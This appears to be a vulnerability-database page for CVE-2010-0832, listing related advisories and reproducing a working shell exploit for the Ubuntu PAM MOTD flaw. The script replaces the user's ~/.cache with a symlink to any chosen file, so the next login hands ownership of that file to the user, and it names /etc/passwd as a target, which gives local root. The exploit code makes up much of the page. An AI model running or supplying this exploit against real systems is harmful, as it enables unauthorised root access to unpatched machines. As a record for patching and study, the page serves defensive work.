Ubuntu PAM MOTD File Tampering (Privilege Escalation)
| Reporter | Title | Published | Views | Family All 28 |
|---|---|---|---|---|
 | Ubuntu PAM MOTD Local Root Exploit | 12 Jul 201000:00 | – | zdt |
| Ubuntu PAM MOTD File Tampering (Privilege Escalation) | 8 Jul 201000:00 | – | zdt |
 | CVE-2010-0832 | 8 Jul 201000:00 | – | circl |
 | CVE-2010-0832 | 12 Jul 201016:00 | – | cve |
 | CVE-2010-0832 | 12 Jul 201016:00 | – | cvelist |
 | CVE-2010-0832 | 12 Jul 201016:00 | – | debiancve |
 | Linux PAM 1.1.0 (Ubuntu 9.10/10.04) - MOTD File Tampering Privilege Escalation (1) | 8 Jul 201000:00 | – | exploitdb |
| Linux PAM 1.1.0 (Ubuntu 9.10/10.04) - MOTD File Tampering Privilege Escalation (2) | 12 Jul 201000:00 | – | exploitdb |
 | EUVD-2010-0857 | 7 Oct 202500:30 | – | euvd |
 | Linux PAM 1.1.0 (Ubuntu 9.1010.04) - MOTD File Tampering Privilege Escalation (1) | 8 Jul 201000:00 | – | exploitpack |
10
#!/bin/sh
#
# Exploit Title: Ubuntu PAM MOTD file tampering (privilege escalation)
# Date: July 7, 2010
# Author: Kristian Erik Hermansen <[email protected]>
# Software Link: http://packages.ubuntu.com/
# Version: pam-1.1.0
# Tested on: Ubuntu 10.04 LTS (Lucid Lynx)
# CVE : CVE-2010-0832
#
# Notes: Affects Ubuntu 9.10 and 10.04 LTS
# [Patch Instructions]
# $ sudo aptitude -y update; sudo aptitude -y install libpam~n~i
#
if [ $# -eq 0 ]; then
echo "Usage: $0 /path/to/file"
exit 1
fi
mkdir $HOME/backup 2> /dev/null
tmpdir=$(mktemp -d --tmpdir=$HOME/backup/)
mv $HOME/.cache/ $tmpdir 2> /dev/null
echo "\n@@@ File before tampering ...\n"
ls -l $1
ln -sf $1 $HOME/.cache
echo "\n@@@ Now log back into your shell (or re-ssh) to make PAM call vulnerable MOTD code :) File will then be owned by your user. Try /etc/passwd...\n"
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10 Jul 2010 00:00Current
0.1Low risk
Vulners AI Score0.1
EPSS0.00949